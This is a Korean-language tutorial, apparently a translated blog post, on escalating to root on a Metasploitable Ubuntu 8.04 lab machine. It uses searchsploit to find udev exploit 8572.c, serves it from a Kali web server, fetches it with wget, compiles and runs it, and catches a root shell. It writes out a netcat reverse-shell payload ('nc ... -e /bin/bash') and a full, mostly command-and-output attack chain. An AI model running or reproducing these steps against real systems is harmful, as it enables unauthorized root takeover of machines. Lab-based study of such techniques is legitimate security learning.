searchsploit 도구 (exploit - db. com) 사용 인 스 턴 스 (Liux 커 널 구멍 제기 권) exploitdb

9858 단어
루트 권한 을 가 져 오 는 것 은 Linux 빈틈 을 이용 하 는 최종 목표 입 니 다.윈도 우즈 의 System 사용자 와 마찬가지 로 루트 사용 자 는 운영 체제 에 대한 모든 관리 권한 을 가지 고 있 습 니 다.침투 중 에 일부 구멍 을 성공 적 으로 이용 하면 저 권한 사용자 만 얻 을 수 있 기 때문에 권한 부여 기술 을 사용 하여 권한 이 높 은 루트 사용자 로 향상 시 켜 전체 시스템 을 완전히 제어 해 야 합 니 다.
일반적으로 저 권한 셸 을 가 져 온 후에 저 희 는 다음 과 같은 몇 가지 일 을 합 니 다. 1. 운영 체제 의 발행 버 전 을 검사 합 니 다. 2. 커 널 버 전 을 봅 니 다. 3. 현재 사용자 권한 을 검사 합 니 다. 4. Suid 파일 5. 설 치 된 가방, 프로그램, 실행 중인 서 비 스 를 봅 니 다. 만 료 된 버 전에 구멍 이 있 을 수 있 습 니 다.
이제 실전 을 하 자!
 
첫 번 째 정보 수집
루트 사용자 에 게 커 널 exp 권한 을 부여 할 것 입 니 다. 우선 타깃 의 정 보 를 수집 해 야 합 니 다.셸 을 가 져 왔 기 때문에 실행 할 수 있 습 니 다. uname –a 명령 으로 커 널 버 전 을 볼 수도 있 고 사용 할 수도 있 습 니 다. lsb_release –a 현재 시스템 발행 판 의 구체 적 인 버 전 번 호 를 보 려 면 명령 하 십시오.
[*] Started reverse TCP handler on 172.16.1.100:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (36 bytes) to 172.16.1.102
[*] Command shell session 2 opened (172.16.1.100:4444 -> 172.16.1.102:49499) at 2018-07-16 13:55:15 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
lsb_release -a
No LSB modeuls are available.
Distributor ID: Ubuntu
Description:    Ubuntu 8.04
Release:        8.04
Codename:       hardy

여기 서 우 리 는 이용 할 수 있 는 exp 를 찾 을 수 있다.방금 실 행 된 명령 은 실 행 된 시스템 을 표시 합 니 다. 우 분투 8.0.4, 커 널 버 전 2.6.24.
kali 자체 로 컬 버 전 Exploit-DB 라 이브 러 리, 이 라 이브 러 리 는 각종 exp 와 코드 를 포함 하고 있 습 니 다.
우 리 는 사용 할 수 있다. SearchSploit 터미널 에 입력 하기 만 하면 도구 (이 도 구 는 매우 유용 합 니 다) 가 이 exp 라 이브 러 리 에 접근 합 니 다. searchsploit 실행 할 수 있 습 니 다.
root@nullbyte:~# searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escala | exploits/linux/local/160.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22362.c
Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Privilege Es | exploits/linux/local/22363.c
Linux Kernel 2.4.1 < 2.4.37 / 2.6.1 < 2.6.32-rc5 - 'pipe.c' Local Pr | exploits/linux/local/9844.py
Linux Kernel 2.4.32/2.6.0 - 'do_mremap()' Bound Checking Privilege E | exploits/linux/local/145.c
Linux Kernel 2.4.30/2.6.11.5 - Bluetooth 'bluez_sock_create' Local P | exploits/linux/local/25289.c
Linux Kernel 2.4.4 < 2.4.37.4 / 2.6.0 < 2.6.30.4 - 'Sendpage' Local  | exploits/linux/local/19933.rb
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / REHL 4.8/5.3 / SuSE 10 SP | exploits/linux/local/9545.c
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Pri | exploits/linux/local/926.c
Linux Kernel 2.4.x/2.6.x - 'uselib()' Local Privilege Escalation (3) | exploits/linux/local/895.c
Linux Kernel 2.4.x/2.6.x - Bluetooth Signed Buffer Index Privilege E | exploits/linux/local/25288.c
Linux Kernel 2.4/2.6 (Fedora 11) - 'sock_sendpage()' Local Privilege | exploits/linux/local/9598.txt
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox | exploits/linux/local/9479.c
Linux Kernel 2.4/2.6 (x86-64) - System Call Emulation Privilege Esca | exploits/linux_x86-64/local/4460.c
Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation  | exploits/linux/local/9641.txt
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local | exploits/linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9/04) UDEV < 1.4.1 - Local Pr | exploits/linux/local/8572.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Cor | exploits/linux_x86/local/9542.c
Linux Kernel 2.6.0 < 2.6.31 - 'pipe.c' Local Privilege Escalation (1 | exploits/linux/local/33321.c
Linux Kernel 2.6.10 < 2.6.31.5 - 'pipe.c' Local Privilege Escalation | exploits/linux/local/40812.c

우 리 는 제 권 exp 를 찾 아야 하기 때문에 검색 합 니 다. privilege, 그리고 사용 grep 명령 으로 검색 범 위 를 좁 히 고, 게다가 -i 인자 대소 문자 무시.이 예시 에 대하 여 우 리 는 사용한다. 8572.c 이 exp 는 UDEV 장치 관리자 의 구멍 을 이용 하여 경험 증 이 없 는 Netlink 코드 를 실행 하 는 메시지 입 니 다.exp 위 치 를 복사 하고 사용 합 니 다. locate 명령 으로 전체 경 로 를 찾 습 니 다. 즉,/usr/share/exploitdb/exploits/linux/local/8572. c 입 니 다.
root@nullbyte:~# locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c
root@nullbyte:~#

이 exp 는 C 언어 로 쓴 것 입 니 다. (확장 자 는 c) 하지만 원본 코드 문 제 는 걱정 하지 않 아 도 됩 니 다. 컴 파일 만 하면 실행 할 수 있 습 니 다.
현재 우 리 는 이 파일 을 보고 exp 에 대한 상세 한 정보 와 개발 자의 설명 을 볼 수 있 습 니 다.
* cve-2009-1185.c
*
* udev < 1141 Local Privilege Escalation Exploit
* Jon Oberheide 
* http://jon.oberheide.org
*
* Information:
*
*   http://cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
*
*   udev before 1.4.1 does not verify whether a NETLINK message originates
*   from kernel space, which allows local users to gain privileges by sending
*   a NETLINK message from user space.
*
* Notes:
*
*   An alternative version of kcope's exploit.  This exploit leverages the
*   95-udev-late.rules functionality that is meant to run arbitrary commands
*   when a device is removed.  A bit cleaner and reliable as long as you
*   distro ships that rule file.
*
*   Tested on Gentoo, Intrepid, and Jaunty.
*
* Usage:
*
*   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
*   usually is the udevd PID minus 1) as argv[1].
*
*   The exploit will execute /tmp/run as root so throw whatever payload you
*   want in there.

 
두 번 째 단 계 는 exp 를 과녁 기 에 업로드 합 니 다.
이 exp 를 이용 하려 면 과녁 기 에 올 려 야 합 니 다.가장 쉬 운 방법 은 로 컬 kali 에 Apache 서버 를 구축 하고 exp 를 로 컬 서버 에 올 려 놓 은 다음 과녁 기 에서 이 서버 에 연결 하고 exp 를 다운로드 하 는 것 이다.그러나 그 전에 우 리 는 약간의 준비 조 치 를 취해 야 한다.
우선, 서버 가 kali 에서 시작 되 고 실행 되 었 는 지 확인 해 야 합 니 다. 이것 은 터미널 에서 만 실행 하면 됩 니 다. service apache2 restart 명령 하면 됩 니 다.그리고 서버 파일 디 렉 터 리 에 exp 가 있 는 위치의 심 볼 릭 링크 를 만들어 야 exp 를 다운로드 할 수 있 습 니 다. 이 를 위해 다음 명령 을 실행 해 야 합 니 다.
ln -s /usr/share/exploitdb/exploits/linux/local/ /var/www/html/

이 exp 는 과녁 기 에 있 을 것 이다 /tmp 디 렉 터 리 아래 에서 실행 되 기 때문에, 우 리 는 먼저 실행 할 파일 을 만들어 야 한다.kali 에 nano/var/www/html/run 사용 하기 명령 으로 파일 을 만 들 고 다음 내용 을 입력 하 십시오:
#! /bin/bash
nc 172.16.1.100 4321 -e /bin/bash

이 파일 이 실 행 될 때 사용 합 니 다. Netcat kali 의 4321 포트 를 연결 하고 셸 을 만 듭 니 다.실행 할 때 Ctrl - X, Y, Enter 를 눌 러 저장 합 니 다.
지금 우 리 는 exp 를 과녁 기 에 업로드 하려 고 한다.우리 의 낮은 권한 셸 로 돌아 가 전환 합 니 다. /tmp 디렉토리 wget kali 에서 실행 중인 서버 에 연결 하고 파일 을 과녁 기 에 업로드 하도록 명령 합 니 다.
cd /tmp
wget http://172.16.1.100/run
--15:18:31--  http://172.16.1.100/run
           => 'run'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46

    OK                                                  100%  978.43 KB/s

15:18:31 (978.43 KB/s) - 'run' saved [46/46]

wget http://172.16.1.100/local/8752.c
--15:19:24--  http://172.16.1.100/local/8572.c
           => '8572.c'
Connecting to 172.16.1.100:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,876 (2.8K) [text/x-csrc]

    OK                                                  100%  100.46 MB/s

15:19:24 (100.46 MB/s) - '8572.c' saved [2876/2876]

 
3 단계 컴 파일 & 실행
현재 exp 파일 이 과녁 기 에 성공 적 으로 업로드 되 었 습 니 다. 다음 단 계 는 이 exp 를 실행 하 는 것 입 니 다.exp 파일 은 C 언어 로 작성 되 었 기 때문에 실행 가능 한 파일 로 컴 파일 해 야 합 니 다.여기 서 우 리 는 컴 파일 언어의 세부 사항 을 깊이 토론 하지 않 을 것 이다. 우 리 는 원본 코드 를 실행 가능 한 파일 로 컴 파일 해서 실행 할 수 있 으 면 된다. Linux 시스템 에서 사용 하기 만 하면 된다. gcc 명령 -o 출력 파일 의 이름 을 매개 변수 로 지정 합 니 다:
gcc -o exploit 8572.c

하면, 만약, 만약... ld (동적 링크 기) 의 경우 사용 해 야 합 니 다. -B 매개 변 수 는 링크 기의 위 치 를 지정 합 니 다. 이 예 에서 위 치 는... /usr/bin, 명령 은 다음 과 같 습 니 다.
gcc -B /usr/bin -o exploit 8572.c

마지막 으로 우 리 는 사용 할 수 있다. ls 실행 가능 한 파일 이 성공 적 으로 컴 파일 되 었 는 지 확인 하 는 명령 입 니 다. 그림 참조:
gcc -o exploit 8572.c
collect2: cannont find 'ld'

gcc -B /usr/bin -o exploit 8572.c

ls
4674.jsvc_up
8572.c
exploit
jVswA
mhbkk
run

... 에 있다 8572.c 파일 의 문서 에서 찾 아야 한다 고 합 니 다. Netlink 소켓 PID, 이거. PID 통상 비 UDEVD 의 PID 작다우리 cat/proc/net/netlink 명령 으로 보기 PID, 유일한 비 0 PID 우리 가 원 하 는 숫자 야.저희 가 이 걸 검증 할 수 있어 요. PID 정확 하 다 ps aux | grep udev 살펴보다 UDEVD 의 PID, 이것 은 아까 의 숫자 보다 1 이 커 야 합 니 다. 그림 에서 보 듯 이:
cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem    Dump     Locks
celb4800 0   0      00000000 0        0       00000000 2
cf87fa00 4   0      00000000 0        0       00000000 2
cd678000 7   0      00000000 0        0       00000000 2
cdc4bc00 9   0      00000000 0        0       00000000 2
cdc09c00 10  0      00000000 0        0       00000000 2
ce1bc400 15  0      00000000 0        0       00000000 2
cf8dee00 15  2459   00000000 0        0       00000000 2
cd394800 16  0      00000000 0        0       00000000 2
cd5f6200 18  0      00000000 0        0       00000000 2
ps aux | grep udev
root      2460  0.0  0.2   2216   648 ?       S

다음은 kali 에 모니터 를 설치 해 야 합 니 다. 스 크 립 트 가 실 행 될 때 셸 을 잡 을 수 있 습 니 다.kali 에서 실행 nc –lvp 4321 입 소 연결 을 감청 하 라 고 명령 하 다.
지금 우리 의 모니터 가 켜 져 있 으 니 우 리 는 마침내 구멍 을 이용 할 수 있 게 되 었 다.기억 하 다 Netlink 의 PID 매개 변수 로 전달 되 는 2459.낮은 권한 셸 에서 다음 명령 을 실행 합 니 다:
./exploit 2459

잠시 후 우리 의 Netcat 모니터 에서 새로운 연결 세 션 을 가 져 왔 습 니 다. 입력 하 십시오. id 화해시키다 whoami 명령 으로 사용자 정 보 를 볼 수 있 습 니 다. 루트 권한 을 가 져 왔 습 니 다.
root@nullbyte:~# nc -lvp 4321
listening on [any] 4321 ...
172.16.1.102: inverse host lookup failed: Unknown host
connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 34418
id
uid=0(root) gid=0(root)
whoami
root

이제 우 리 는 시스템 전 체 를 완전히 통제 해서 하고 싶 은 모든 일 을 할 수 있다.

좋은 웹페이지 즐겨찾기